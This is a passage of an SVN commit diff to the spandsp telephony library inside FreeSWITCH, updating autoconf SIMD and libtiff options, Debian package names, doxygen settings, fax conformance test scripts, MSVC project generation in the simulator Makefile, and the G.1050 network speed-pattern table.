-    AC_DEFINE([SPANDSP_USE_MMX], [1], [Use the MMX instruction set (i386 and x86_64 only).])
+if test "$enable_sse" = "yes" ; then
     AC_DEFINE([SPANDSP_USE_SSE], [1], [Use the SSE instruction set (i386 and x86_64 only).])
-    AC_DEFINE([SPANDSP_USE_SSE2], [1], [Use the SSE2 instruction set (i386 and x86_64 only).])
-    AC_DEFINE([SPANDSP_USE_SSE3], [1], [Use the SSE3 instruction set (i386 and x86_64 only).])
-    AC_DEFINE([SPANDSP_USE_SSE4_1], [1], [Use the SSE4.1 instruction set (i386 and x86_64 only).])
-    AC_DEFINE([SPANDSP_USE_SSE4_2], [1], [Use the SSE4.2 instruction set (i386 and x86_64 only).])
-    AC_DEFINE([SPANDSP_USE_SSE4A], [1], [Use the SSE4A instruction set (i386 and x86_64 only).])
+    enable_mmx="yes"
 fi
-if test "$enable_sse5" = "yes" ; then
+if test "$enable_mmx" = "yes" ; then
     AC_DEFINE([SPANDSP_USE_MMX], [1], [Use the MMX instruction set (i386 and x86_64 only).])
-    AC_DEFINE([SPANDSP_USE_SSE], [1], [Use the SSE instruction set (i386 and x86_64 only).])
-    AC_DEFINE([SPANDSP_USE_SSE2], [1], [Use the SSE2 instruction set (i386 and x86_64 only).])
-    AC_DEFINE([SPANDSP_USE_SSE3], [1], [Use the SSE3 instruction set (i386 and x86_64 only).])
-    AC_DEFINE([SPANDSP_USE_SSE4_1], [1], [Use the SSE4.1 instruction set (i386 and x86_64 only).])
-    AC_DEFINE([SPANDSP_USE_SSE4_2], [1], [Use the SSE4.2 instruction set (i386 and x86_64 only).])
-    AC_DEFINE([SPANDSP_USE_SSE5], [1], [Use the SSE5 instruction set (i386 and x86_64 only).])
 fi
 
+if test "$enable_builtin_tiff" = "yes" ; then
+  abs_tiffdir="`cd $srcdir/../tiff-3.8.2/ && pwd`"
+  save_CFLAGS=$CFLAGS
+  CFLAGS="$CFLAGS -I$abs_tiffdir/libtiff"
+  AC_CHECK_HEADERS([tiffio.h])
+  CFLAGS="$save_CFLAGS"
+  COMP_VENDOR_CFLAGS="-I$abs_tiffdir/libtiff $COMP_VENDOR_CFLAGS"
+  COMP_VENDOR_LDFLAGS="-L$abs_tiffdir/libtiff $COMP_VENDOR_LDFLAGS"
+  LIBS="$LIBS $abs_tiffdir/libtiff/libtiff.la"
+  AC_DEFINE([HAVE_LIBTIFF], [1], [Define to 1 if you have the `tiff' library (-ltiff).])
+else
+  AC_CHECK_HEADERS([tiffio.h])
+  AC_CHECK_LIB([tiff], [TIFFOpen], , AC_MSG_ERROR("Can't build without libtiff (does your system require a libtiff-devel package?)"), -lm)
+fi
+
+TESTLIBS="$SIMLIBS $TESTLIBS"
+
 AC_SUBST(CC_FOR_BUILD)
 AC_SUBST(CPPFLAGS_FOR_BUILD)
 AC_SUBST(COMP_VENDOR_CFLAGS)
 AC_SUBST(COMP_VENDOR_LDFLAGS)
+AC_SUBST(SIMLIBS)
 AC_SUBST(TESTLIBS)
 AC_SUBST(SPANDSP_USE_FIXED_POINT)
 AC_SUBST(SPANDSP_MISALIGNED_ACCESS_FAILS)
+AC_SUBST(SPANDSP_USE_EXPORT_CAPABILITY)
 AC_SUBST(INSERT_INTTYPES_HEADER)
 AC_SUBST(INSERT_STDINT_HEADER)
 AC_SUBST(INSERT_TGMATH_HEADER)
@@ -451,6 +459,7 @@
                  test-data/itu/fax/Makefile
                  test-data/local/Makefile
                  tests/Makefile
+                 spandsp.pc
                  spandsp.spec])
 
 AC_OUTPUT

Modified: freeswitch/branches/seven/libs/spandsp/configure.gnu (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/configure.gnu	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/configure.gnu	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,3 +1,2 @@
 #! /bin/sh
-./configure "$@" --disable-shared --with-pic
-
+./configure "$@" --disable-shared --with-pic --enable-builtin-tiff

Modified: freeswitch/branches/seven/libs/spandsp/debian/changelog (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/debian/changelog	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/debian/changelog	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,3 +1,13 @@
+spandsp (0.0.6~pre7-1) unstable; urgency=low
+
+  [ Steve Underwood ]
+  * New upstream release.
+  * Fixed upstream file name for get-orig-source.
+  * Updates to 64bit archs support
+  * Removal of obsoleted files
+
+ -- Steve Underwood <steveu@coppice.org>  Sat, 14 Mar 2009 09:23:36 +0100
+
 spandsp (0.0.5~pre2-1) unstable; urgency=low
 
   [ Massimo Cetra ]

Modified: freeswitch/branches/seven/libs/spandsp/debian/control (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/debian/control	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/debian/control	2009-08-09 18:53:22 UTC (rev 14472)
@@ -8,7 +8,7 @@
 XS-Vcs-Svn: svn://svn.debian.org/pkg-voip/
 XS-Vcs-Browser: http://svn.debian.org/wsvn/pkg-voip/
 
-Package: libspandsp5
+Package: libspandsp6
 Architecture: any
 Depends: ${shlibs:Depends}
 Conflicts: libspandsp0, libspandsp1, libspandsp2
@@ -22,7 +22,7 @@
 Package: libspandsp-dev
 Section: libdevel
 Architecture: any
-Depends: libspandsp5 (= ${Source-Version}), libtiff4-dev, libjpeg62-dev
+Depends: libspandsp6 (= ${Source-Version}), libtiff4-dev, libjpeg62-dev
 Description: Telephony signal processing library
  This is a low-level signal processing library that modulate and demodulate
  signals commonly used in telephony, such as the "noise" generated by a

Deleted: freeswitch/branches/seven/libs/spandsp/debian/libspandsp5.install

Copied: freeswitch/branches/seven/libs/spandsp/debian/libspandsp6.install (from rev 14471, freeswitch/trunk/libs/spandsp/debian/libspandsp6.install) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/debian/libspandsp6.install	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/debian/libspandsp6.install	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,2 @@
+debian/tmp/usr/lib*/libspandsp.so.2.*
+debian/tmp/usr/lib*/libspandsp.so.2

Modified: freeswitch/branches/seven/libs/spandsp/doc/doxygen.in (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/doc/doxygen.in	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/doc/doxygen.in	2009-08-09 18:53:22 UTC (rev 14472)
@@ -53,16 +53,6 @@
 
 OUTPUT_LANGUAGE        = English
 
-# This tag can be used to specify the encoding used in the generated output. 
-# The encoding is not always determined by the language that is chosen, 
-# but also whether or not the output is meant for Windows or non-Windows users. 
-# In case there is a difference, setting the USE_WINDOWS_ENCODING tag to YES 
-# forces the Windows encoding (this is the default for the Windows binary), 
-# whereas setting the tag to NO uses a Unix-style encoding (the default for 
-# all platforms other than Windows).
-
-USE_WINDOWS_ENCODING   = YES
-
 # If the BRIEF_MEMBER_DESC tag is set to YES (the default) Doxygen will 
 # include brief member descriptions after the members that are listed in 
 # the file and class documentation (similar to JavaDoc). 
@@ -148,13 +138,6 @@
 
 MULTILINE_CPP_IS_BRIEF = NO
 
-# If the DETAILS_AT_TOP tag is set to YES then Doxygen 
-# will output the detailed description near the top, like JavaDoc.
-# If set to NO, the detailed description appears after the member 
-# documentation.
-
-DETAILS_AT_TOP         = NO
-
 # If the INHERIT_DOCS tag is set to YES (the default) then an undocumented 
 # member inherits the documentation from any documented member that it 
 # re-implements.
@@ -963,7 +946,7 @@
 # compilation will be performed. Macro expansion can be done in a controlled 
 # way by setting EXPAND_ONLY_PREDEF to YES.
 
-MACRO_EXPANSION        = NO
+MACRO_EXPANSION        = YES
 
 # If the EXPAND_ONLY_PREDEF and MACRO_EXPANSION tags are both set to YES 
 # then the macro expansion is limited to the macros specified with the 
@@ -997,7 +980,7 @@
 # undefined via #undef or recursively expanded use the := operator 
 # instead of the = operator.
 
-PREDEFINED             = 
+PREDEFINED             = SPAN_DECLARE(x)=x
 
 # If the MACRO_EXPANSION and EXPAND_ONLY_PREDEF tags are set to YES then 
 # this tag can be used to specify a list of macro names that should be expanded. 
@@ -1164,22 +1147,6 @@
 
 DOTFILE_DIRS           = 
 
-# The MAX_DOT_GRAPH_WIDTH tag can be used to set the maximum allowed width 
-# (in pixels) of the graphs generated by dot. If a graph becomes larger than 
-# this value, doxygen will try to truncate the graph, so that it fits within 
-# the specified constraint. Beware that most browsers cannot cope with very 
-# large images.
-
-MAX_DOT_GRAPH_WIDTH    = 1024
-
-# The MAX_DOT_GRAPH_HEIGHT tag can be used to set the maximum allows height 
-# (in pixels) of the graphs generated by dot. If a graph becomes larger than 
-# this value, doxygen will try to truncate the graph, so that it fits within 
-# the specified constraint. Beware that most browsers cannot cope with very 
-# large images.
-
-MAX_DOT_GRAPH_HEIGHT   = 1024
-
 # The MAX_DOT_GRAPH_DEPTH tag can be used to set the maximum depth of the 
 # graphs generated by dot. A depth value of 3 means that only nodes reachable 
 # from the root by following a path via at most 3 edges will be shown. Nodes 

Deleted: freeswitch/branches/seven/libs/spandsp/libspandsp.vcproj

Copied: freeswitch/branches/seven/libs/spandsp/spandsp/fax-tests.dtd (from rev 14471, freeswitch/trunk/libs/spandsp/spandsp/fax-tests.dtd) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/spandsp/fax-tests.dtd	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/spandsp/fax-tests.dtd	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,51 @@
+<!-- FAX test scripts -->
+<!ELEMENT fax-tests (config|messages|test-group)* >
+<!ELEMENT config (path)* >
+<!ATTLIST path
+  type      CDATA   #REQUIRED
+  value     CDATA   #REQUIRED
+  >
+
+<!ELEMENT messages (message)* >
+<!ELEMENT message (EMPTY)* >
+<!ATTLIST message
+  type      CDATA   #REQUIRED
+  value     CDATA   #REQUIRED
+  >
+
+<!ELEMENT test-group (test)* >
+<!ATTLIST test-group
+  name      CDATA   #IMPLIED
+  >
+
+<!ELEMENT test (step|possible-step)* >
+<!ATTLIST test
+  name      CDATA   #IMPLIED
+  >
+
+<!ELEMENT possible-step (step)* >
+
+<!ELEMENT step (check|EMPTY)* >
+<!ATTLIST step
+  dir                   CDATA   #IMPLIED
+  type                  CDATA   #IMPLIED
+  modem                 CDATA   #IMPLIED
+  tag                   CDATA   #IMPLIED
+  value                 CDATA   #IMPLIED
+  timeout               CDATA   #IMPLIED
+  crc_error             CDATA   #IMPLIED
+  pattern               CDATA   #IMPLIED
+  bad_rows              CDATA   #IMPLIED
+  min_bits              CDATA   #IMPLIED
+  frame_size            CDATA   #IMPLIED
+  compression           CDATA   #IMPLIED
+  block                 CDATA   #IMPLIED
+  xxx                   CDATA   #IMPLIED
+  >
+
+<!ELEMENT check (EMPTY)* >
+<!ATTLIST check
+  name      CDATA   #IMPLIED
+  desc      CDATA   #IMPLIED
+  >
+

Modified: freeswitch/branches/seven/libs/spandsp/spandsp/tsb85.xml (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/spandsp/tsb85.xml	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/spandsp/tsb85.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,7 +1,7 @@
 <?xml version="1.0"?>
 <!DOCTYPE fax-tests SYSTEM "./fax-tests.dtd">
 <fax-tests>
-<!-- $Id: tsb85.xml,v 1.21 2008/09/12 14:41:55 steveu Exp $ -->
+<!-- $Id: tsb85.xml,v 1.22 2009/05/24 07:18:36 steveu Exp $ -->
 <config>
     <path type="IMAGE" value="../test-data/etsi/fax"/>
 </config>
@@ -2202,7 +2202,7 @@
 
         <step type="WAIT" value="75"/>
         <step dir="T" type="PREAMBLE" modem="V.27ter/4800"/>
-        <step dir="T" type="PP" value="etsi_300_242_a4_stairstep.tif" min_bits="302" frame_size="256"/>
+        <step dir="T" type="PP" value="etsi_300_242_a4_stairstep.tif" min_bits="303" frame_size="256"/>
         <step dir="T" type="POSTAMBLE"/>
         <step type="WAIT" value="75"/>
         <step dir="T" type="PREAMBLE" modem="V.21"/>
@@ -2541,8 +2541,8 @@
 
         <step type="WAIT" value="75"/>
         <!-- UNKNOWN_BCS_1 -->
-        <step dir="T" type="HDLC" modem="V.21" tag="GARBAGE" value="FF C0 00"/>
-        <step dir="T" type="POSTAMBLE"/>
+        <step dir="T" type="PREAMBLE" modem="V.21" value="37"/>
+        <step dir="T" type="HDLC" tag="GARBAGE" value="FF C0 00"/>
         <step dir="T" type="HDLC" tag="DCS" value="FF C8 41 00 50 00"/>
         <step dir="T" type="POSTAMBLE"/>
         <step type="WAIT" value="75"/>
@@ -5513,7 +5513,7 @@
 
         <step dir="R" type="CNG"/>
 
-        <step type="WAIT" value="140001"/>
+        <step type="WAIT" value="40001"/>
         <step dir="T" type="CED"/>
         <step type="WAIT" value="75"/>
         <step dir="T" type="PREAMBLE" modem="V.21"/>

Modified: freeswitch/branches/seven/libs/spandsp/spandsp-sim/Makefile.am (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/spandsp-sim/Makefile.am	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/spandsp-sim/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -16,15 +16,26 @@
 ## along with this program; if not, write to the Free Software
 ## Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
 ##
-## $Id: Makefile.am,v 1.7 2008/05/03 13:05:04 steveu Exp $
+## $Id: Makefile.am,v 1.10 2009/06/02 16:03:55 steveu Exp $
 
 AM_CFLAGS = $(COMP_VENDOR_CFLAGS)
 AM_LDFLAGS = $(COMP_VENDOR_LDFLAGS)
 
-LIBS += $(TESTLIBS)
+LIBS += -L$(top_builddir)/src -lspandsp $(SIMLIBS)
 
 MAINTAINERCLEANFILES = Makefile.in
 
+EXTRA_DIST = libspandsp_sim.dsp \
+             libspandsp_sim.2005.vcproj \
+             libspandsp_sim.2008.vcproj \
+             msvc/make_line_models.2008.vcproj \
+             msvc/msvcproj.head \
+             msvc/msvcproj.foot \
+             msvc/vc8proj.head \
+             msvc/vc8proj.foot \
+             msvc/vc9proj.head \
+             msvc/vc9proj.foot
+
 INCLUDES = -I$(top_builddir) -I$(top_builddir)/src -DDATADIR="\"$(pkgdatadir)\""
 
 noinst_PROGRAMS = make_line_models
@@ -38,7 +49,7 @@
 
 nodist_libspandsp_sim_la_SOURCES = line_models.c
 
-libspandsp_sim_la_LDFLAGS = -version-info @SPANDSP_LT_CURRENT@:@SPANDSP_LT_REVISION@:@SPANDSP_LT_AGE@
+libspandsp_sim_la_LDFLAGS = -version-info @SPANDSP_LT_CURRENT@:@SPANDSP_LT_REVISION@:@SPANDSP_LT_AGE@ $(COMP_VENDOR_LDFLAGS)
 
 nobase_include_HEADERS = spandsp/g1050.h \
                          spandsp/line_model.h \
@@ -60,14 +71,16 @@
 line_models.c: make_line_models$(EXEEXT)
 	./make_line_models$(EXEEXT)
     
-DSP = libspandsp-sim.dsp
-VCPROJ = libspandsp-sim.vcproj
+DSP = libspandsp_sim.dsp
+VCPROJ8 = libspandsp_sim.2005.vcproj
+VCPROJ9 = libspandsp_sim.2008.vcproj
 
-WIN32SOURCES = $(libspandsp_sim_la_SOURCES) msvc/gettimeofday.c
-WIN32HEADERS = $(nobase_include_HEADERS) spandsp-sim.h
+WIN32SOURCES = $(libspandsp_sim_la_SOURCES)
+WIN32HEADERS = $(nobase_include_HEADERS)
 
 DSPOUT = | awk '{printf("%s\r\n", $$0)}' >> $(DSP)
-VCPROJOUT = | awk '{printf("%s\r\n", $$0)}' >> $(VCPROJ)
+VCPROJOUT8 = | awk '{printf("%s\r\n", $$0)}' >> $(VCPROJ8)
+VCPROJOUT9 = | awk '{printf("%s\r\n", $$0)}' >> $(VCPROJ9)
 
 $(DSP): msvc/msvcproj.head msvc/msvcproj.foot Makefile.am
 	echo "creating $(DSP)"
@@ -90,14 +103,26 @@
 	echo "# End Group" $(DSPOUT); \
 	cat $(srcdir)/msvc/msvcproj.foot $(DSPOUT) )
 
-$(VCPROJ): msvc/vc8proj.head msvc/vc8proj.foot Makefile.am
-	echo "creating $(VCPROJ)"
-	@(cp $(srcdir)/msvc/vc8proj.head $(VCPROJ); \
+$(VCPROJ8): msvc/vc8proj.head msvc/vc8proj.foot Makefile.am
+	echo "creating $(VCPROJ8)"
+	@(cp $(srcdir)/msvc/vc8proj.head $(VCPROJ8); \
 	for file in $(WIN32SOURCES); do \
-		echo "<File RelativePath=\""$$file"\"></File>" $(VCPROJOUT); \
+		echo "<File RelativePath=\""$$file"\"></File>" $(VCPROJOUT8); \
 	done; \
-	echo "</Filter><Filter  Name=\"Header Files\">" $(VCPROJOUT); \
+	echo "</Filter><Filter  Name=\"Header Files\">" $(VCPROJOUT8); \
 	for file in $(WIN32HEADERS); do \
-		echo "<File RelativePath=\""$$file"\"></File>" $(VCPROJOUT); \
+		echo "<File RelativePath=\""$$file"\"></File>" $(VCPROJOUT8); \
 	done; \
-	cat $(srcdir)/msvc/vc8proj.foot $(VCPROJOUT) )
+	cat $(srcdir)/msvc/vc8proj.foot $(VCPROJOUT8) )
+
+$(VCPROJ9): msvc/vc9proj.head msvc/vc9proj.foot Makefile.am
+	echo "creating $(VCPROJ9)"
+	@(cp $(srcdir)/msvc/vc9proj.head $(VCPROJ9); \
+	for file in $(WIN32SOURCES); do \
+		echo "<File RelativePath=\""$$file"\"></File>" $(VCPROJOUT9); \
+	done; \
+	echo "</Filter><Filter  Name=\"Header Files\">" $(VCPROJOUT9); \
+	for file in $(WIN32HEADERS); do \
+		echo "<File RelativePath=\""$$file"\"></File>" $(VCPROJOUT9); \
+	done; \
+	cat $(srcdir)/msvc/vc9proj.foot $(VCPROJOUT9) )

Modified: freeswitch/branches/seven/libs/spandsp/spandsp-sim/g1050.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/spandsp-sim/g1050.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/spandsp-sim/g1050.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: g1050.c,v 1.10 2008/07/02 14:48:25 steveu Exp $
+ * $Id: g1050.c,v 1.17 2009/06/02 14:55:36 steveu Exp $
  */
 
 #if defined(HAVE_CONFIG_H)
@@ -36,8 +36,6 @@
 #include <time.h>
 #include <stdio.h>
 #include <fcntl.h>
-#include <audiofile.h>
-#include "floating_fudge.h"
 #if defined(HAVE_TGMATH_H)
 #include <tgmath.h>
 #endif
@@ -45,6 +43,7 @@
 #define GEN_CONST
 #include <math.h>
 #endif
+#include "floating_fudge.h"
 
 #include "spandsp.h"
 #include "spandsp/g1050.h"
@@ -142,141 +141,176 @@
     }
 };
 
-g1050_channel_speeds_t g1050_speed_patterns[133] =
+g1050_channel_speeds_t g1050_speed_patterns[168] =
 {
-    {  4000000, 0,    128000,   768000, 0,     4000000, 0,    128000,   768000, 0,  2.2500},
-    {  4000000, 0,    128000,   768000, 0,    20000000, 0,    128000,   768000, 0,  1.5000},
-    { 20000000, 0,    128000,   768000, 0,    20000000, 0,    128000,   768000, 0,  0.2500},
-    {  4000000, 0,    128000,  1536000, 0,     4000000, 0,    384000,   768000, 0,  3.4125},
-    {  4000000, 0,    128000,  1536000, 0,    20000000, 0,    384000,   768000, 0,  2.6750},
-    { 20000000, 0,    128000,  1536000, 0,    20000000, 0,    384000,   768000, 0,  0.5125},
-    {  4000000, 0,    128000,  3000000, 0,     4000000, 0,    384000,   768000, 0,  0.7875},
-    {  4000000, 0,    128000,  3000000, 0,    20000000, 0,    384000,   768000, 0,  0.6750},
-    { 20000000, 0,    128000,  3000000, 0,    20000000, 0,    384000,   768000, 0,  0.1375},
-    {  4000000, 0,    384000,   768000, 0,     4000000, 0,    128000,  1536000, 0,  3.4125},
-    {  4000000, 0,    384000,   768000, 0,    20000000, 0,    128000,  1536000, 0,  2.6750},
-    { 20000000, 0,    384000,   768000, 0,    20000000, 0,    128000,  1536000, 0,  0.5125},
-    {  4000000, 0,    384000,  1536000, 0,     4000000, 0,    384000,  1536000, 0,  5.1756},
-    {  4000000, 0,    384000,  1536000, 0,    20000000, 0,    384000,  1536000, 0,  4.6638},
-    { 20000000, 0,    384000,  1536000, 0,    20000000, 0,    384000,  1536000, 0,  1.0506},
-    {  4000000, 0,    384000,  3000000, 0,     4000000, 0,    384000,  1536000, 0,  1.1944},
-    {  4000000, 0,    384000,  3000000, 0,    20000000, 0,    384000,  1536000, 0,  1.1638},
-    { 20000000, 0,    384000,  3000000, 0,    20000000, 0,    384000,  1536000, 0,  0.2819},
-    {  4000000, 0,    384000,   768000, 0,     4000000, 0,    128000,  3000000, 0,  0.7875},
-    {  4000000, 0,    384000,   768000, 0,    20000000, 0,    128000,  3000000, 0,  0.6750},
-    { 20000000, 0,    384000,   768000, 0,    20000000, 0,    128000,  3000000, 0,  0.1375},
-    {  4000000, 0,    384000,  1536000, 0,     4000000, 0,    384000,  3000000, 0,  1.1944},
-    {  4000000, 0,    384000,  1536000, 0,    20000000, 0,    384000,  3000000, 0,  1.1638},
-    { 20000000, 0,    384000,  1536000, 0,    20000000, 0,    384000,  3000000, 0,  0.2819},
-    {  4000000, 0,    384000,  3000000, 0,     4000000, 0,    384000,  3000000, 0,  0.2756},
-    {  4000000, 0,    384000,  3000000, 0,    20000000, 0,    384000,  3000000, 0,  0.2888},
-    { 20000000, 0,    384000,  3000000, 0,    20000000, 0,    384000,  3000000, 0,  0.0756},
-    {  4000000, 0,    128000,  1536000, 0,   100000000, 0,    384000,   768000, 0,  1.8000},
-    { 20000000, 0,    128000,  1536000, 0,   100000000, 0,    384000,   768000, 0,  0.6000},
-    {  4000000, 0,    128000,  3000000, 0,   100000000, 0,    384000,   768000, 0,  0.6750},
-    { 20000000, 0,    128000,  3000000, 0,   100000000, 0,    384000,   768000, 0,  0.2250},
-    {  4000000, 0,    128000,  1536000, 0,     4000000, 0,    768000,  1536000, 0,  0.6000},
-    {  4000000, 0,    128000,  1536000, 0,    20000000, 0,    768000,  1536000, 0,  0.8000},
-    {  4000000, 0,    128000,  1536000, 0,   100000000, 0,    768000,  1536000, 0,  1.8000},
-    { 20000000, 0,    128000,  1536000, 0,    20000000, 0,    768000,  1536000, 0,  0.2000},
-    { 20000000, 0,    128000,  1536000, 0,   100000000, 0,    768000,  1536000, 0,  0.6000},
-    {  4000000, 0,    128000, 43000000, 0,     4000000, 0,    768000, 43000000, 0,  0.0750},
-    {  4000000, 0,    128000, 43000000, 0,    20000000, 0,    768000, 43000000, 0,  0.1000},
-    {  4000000, 0,    128000, 43000000, 0,   100000000, 0,    768000, 43000000, 0,  0.2250},
-    { 20000000, 0,    128000, 43000000, 0,    20000000, 0,    768000, 43000000, 0,  0.0250},
-    { 20000000, 0,    128000, 43000000, 0,   100000000, 0,    768000, 43000000, 0,  0.0750},
-    {  4000000, 0,    384000,  1536000, 0,   100000000, 0,    384000,  1536000, 0,  5.4600},
-    { 20000000, 0,    384000,  1536000, 0,   100000000, 0,    384000,  1536000, 0,  2.4600},
-    {  4000000, 0,    384000,  3000000, 0,   100000000, 0,    384000,  1536000, 0,  1.6538},
-    { 20000000, 0,    384000,  3000000, 0,   100000000, 0,    384000,  1536000, 0,  0.7913},
-    {  4000000, 0,    384000,  1536000, 0,     4000000, 0,   1536000,  1536000, 0,  0.9100},
-    {  4000000, 0,    384000,  1536000, 0,    20000000, 0,   1536000,  1536000, 0,  1.3200},
-    {  4000000, 0,    384000,  1536000, 0,   100000000, 0,   1536000,  1536000, 0,  3.2100},
-    { 20000000, 0,    384000,  1536000, 0,    20000000, 0,   1536000,  1536000, 0,  0.4100},
-    { 20000000, 0,    384000,  1536000, 0,   100000000, 0,   1536000,  1536000, 0,  1.7100},
-    {  4000000, 0,    384000, 43000000, 0,     4000000, 0,   1536000, 43000000, 0,  0.1138},
-    {  4000000, 0,    384000, 43000000, 0,    20000000, 0,   1536000, 43000000, 0,  0.1650},
-    {  4000000, 0,    384000, 43000000, 0,   100000000, 0,   1536000, 43000000, 0,  0.4013},
-    { 20000000, 0,    384000, 43000000, 0,    20000000, 0,   1536000, 43000000, 0,  0.0513},
-    { 20000000, 0,    384000, 43000000, 0,   100000000, 0,   1536000, 43000000, 0,  0.2138},
-    {  4000000, 0,    384000,  1536000, 0,   100000000, 0,    384000,  3000000, 0,  1.6538},
-    { 20000000, 0,    384000,  1536000, 0,   100000000, 0,    384000,  3000000, 0,  0.7913},
-    {  4000000, 0,    384000,  3000000, 0,   100000000, 0,    384000,  3000000, 0,  0.4725},
-    { 20000000, 0,    384000,  3000000, 0,   100000000, 0,    384000,  3000000, 0,  0.2475},
-    {  4000000, 0,    384000,  1536000, 0,     4000000, 0,   1536000,  3000000, 0,  0.2100},
-    {  4000000, 0,    384000,  1536000, 0,    20000000, 0,   1536000,  3000000, 0,  0.3200},
-    {  4000000, 0,    384000,  1536000, 0,   100000000, 0,   1536000,  3000000, 0,  0.8100},
-    { 20000000, 0,    384000,  1536000, 0,    20000000, 0,   1536000,  3000000, 0,  0.1100},
-    { 20000000, 0,    384000,  1536000, 0,   100000000, 0,   1536000,  3000000, 0,  0.5100},
-    {  4000000, 0,    384000, 43000000, 0,     4000000, 0,   3000000, 43000000, 0,  0.0263},
-    {  4000000, 0,    384000, 43000000, 0,    20000000, 0,   3000000, 43000000, 0,  0.0400},
-    {  4000000, 0,    384000, 43000000, 0,   100000000, 0,   3000000, 43000000, 0,  0.1013},
-    { 20000000, 0,    384000, 43000000, 0,    20000000, 0,   3000000, 43000000, 0,  0.0138},
-    { 20000000, 0,    384000, 43000000, 0,   100000000, 0,   3000000, 43000000, 0,  0.0638},
-    {  4000000, 0,    384000,   768000, 0,   100000000, 0,    128000,  1536000, 0,  1.8000},
-    { 20000000, 0,    384000,   768000, 0,   100000000, 0,    128000,  1536000, 0,  0.6000},
-    {  4000000, 0,    384000,   768000, 0,   100000000, 0,    128000,  3000000, 0,  0.6750},
-    { 20000000, 0,    384000,   768000, 0,   100000000, 0,    128000,  3000000, 0,  0.2250},
-    {  4000000, 0,    768000,  1536000, 0,     4000000, 0,    128000,  1536000, 0,  0.6000},
-    {  4000000, 0,    768000,  1536000, 0,    20000000, 0,    128000,  1536000, 0,  0.8000},
-    { 20000000, 0,    768000,  1536000, 0,    20000000, 0,    128000,  1536000, 0,  0.2000},
-    {  4000000, 0,    768000,  1536000, 0,   100000000, 0,    128000,  1536000, 0,  1.8000},
-    { 20000000, 0,    768000,  1536000, 0,   100000000, 0,    128000,  1536000, 0,  0.6000},
-    {  4000000, 0,   1536000,  1536000, 0,     4000000, 0,    384000,  1536000, 0,  0.9100},
-    {  4000000, 0,   1536000,  1536000, 0,    20000000, 0,    384000,  1536000, 0,  1.3200},
-    { 20000000, 0,   1536000,  1536000, 0,    20000000, 0,    384000,  1536000, 0,  0.4100},
-    {  4000000, 0,   1536000,  1536000, 0,   100000000, 0,    384000,  1536000, 0,  3.2100},
-    { 20000000, 0,   1536000,  1536000, 0,   100000000, 0,    384000,  1536000, 0,  1.7100},
-    {  4000000, 0,   1536000,  3000000, 0,     4000000, 0,    384000,  1536000, 0,  0.2100},
-    {  4000000, 0,   1536000,  3000000, 0,    20000000, 0,    384000,  1536000, 0,  0.3200},
-    { 20000000, 0,   1536000,  3000000, 0,    20000000, 0,    384000,  1536000, 0,  0.1100},
-    {  4000000, 0,   1536000,  3000000, 0,   100000000, 0,    384000,  1536000, 0,  0.8100},
-    { 20000000, 0,   1536000,  3000000, 0,   100000000, 0,    384000,  1536000, 0,  0.5100},
-    {  4000000, 0,    768000, 43000000, 0,     4000000, 0,    128000, 43000000, 0,  0.0750},
-    {  4000000, 0,    768000, 43000000, 0,    20000000, 0,    128000, 43000000, 0,  0.1000},
-    { 20000000, 0,    768000, 43000000, 0,    20000000, 0,    128000, 43000000, 0,  0.0250},
-    {  4000000, 0,    768000, 43000000, 0,   100000000, 0,    128000, 43000000, 0,  0.2250},
-    { 20000000, 0,    768000, 43000000, 0,   100000000, 0,    128000, 43000000, 0,  0.0750},
-    {  4000000, 0,   1536000, 43000000, 0,     4000000, 0,    384000, 43000000, 0,  0.1138},
-    {  4000000, 0,   1536000, 43000000, 0,    20000000, 0,    384000, 43000000, 0,  0.1650},
-    { 20000000, 0,   1536000, 43000000, 0,    20000000, 0,    384000, 43000000, 0,  0.0513},
-    {  4000000, 0,   1536000, 43000000, 0,   100000000, 0,    384000, 43000000, 0,  0.4013},
-    { 20000000, 0,   1536000, 43000000, 0,   100000000, 0,    384000, 43000000, 0,  0.2138},
-    {  4000000, 0,   3000000, 43000000, 0,     4000000, 0,    384000, 43000000, 0,  0.0263},
-    {  4000000, 0,   3000000, 43000000, 0,    20000000, 0,    384000, 43000000, 0,  0.0400},
-    { 20000000, 0,   3000000, 43000000, 0,    20000000, 0,    384000, 43000000, 0,  0.0138},
-    {  4000000, 0,   3000000, 43000000, 0,   100000000, 0,    384000, 43000000, 0,  0.1013},
-    { 20000000, 0,   3000000, 43000000, 0,   100000000, 0,    384000, 43000000, 0,  0.0638},
-    {100000000, 0,    384000,  1536000, 0,   100000000, 0,    384000,  1536000, 0,  1.4400},
-    {100000000, 0,    384000,  3000000, 0,   100000000, 0,    384000,  1536000, 0,  0.5400},
-    {100000000, 0,    384000,  1536000, 0,   100000000, 0,   1536000,  1536000, 0,  1.4400},
